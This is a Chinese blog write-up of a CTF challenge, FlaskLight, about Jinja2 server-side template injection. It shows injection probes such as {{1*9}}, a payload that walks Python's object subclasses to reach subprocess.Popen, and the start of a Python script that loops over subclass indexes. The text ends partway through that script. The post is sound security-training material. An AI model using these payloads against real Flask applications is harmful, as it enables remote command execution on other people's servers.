ssti练习之[CSCCTF 2019 Qual]FlaskLight 1

最新推荐文章于 2024-08-29 23:14:22 发布

唯一、、、念你

最新推荐文章于 2024-08-29 23:14:22 发布

阅读量569

点赞数 1

本文链接：https://blog.csdn.net/weixin_48335916/article/details/112249492

版权

本文介绍了[CSCCTF 2019 Qual]FlaskLight 1挑战的解决过程，通过查看网页源代码发现存在 SSTI 注入。通过特定的 Python 表达式 {{''.class.mro[2].subclasses()}} 暴露了 object 类的子类，并找到 subprocess.Popen。利用这一信息，发现子类 Popen 的索引为258，进一步操作列举目录文件，找到了名为 'coomme_geeeett_youur_flek' 的可疑文件，最终成功读取该文件获取 flag。

摘要由CSDN通过智能技术生成

[CSCCTF 2019 Qual]FlaskLight 1

查看网页源代码，发现里面的提示
在这里插入图片描述
尝试输入url

http://e1f8bf68-fab7-482f-901b-12c336d1cdeb.node3.buuoj.cn/?search={
  {1*9}}

在这里插入图片描述
成功回显，说明存在ssti注入
使用{ {’’.class.mro[2].subclasses()}}，可以爆出object类中所有子类，找出subprocess.Popen，copy大佬额exp。

import requests
import re
import html
import time

index = 0
for i in range(170, 1000):
    try:
        url = "http://xxxx/?search={
  {''.__class__.__mro__[2].__subclasses__()[" + str(i) + "]}}"
        r = requests.get(url)
        res = re.findall("<h2>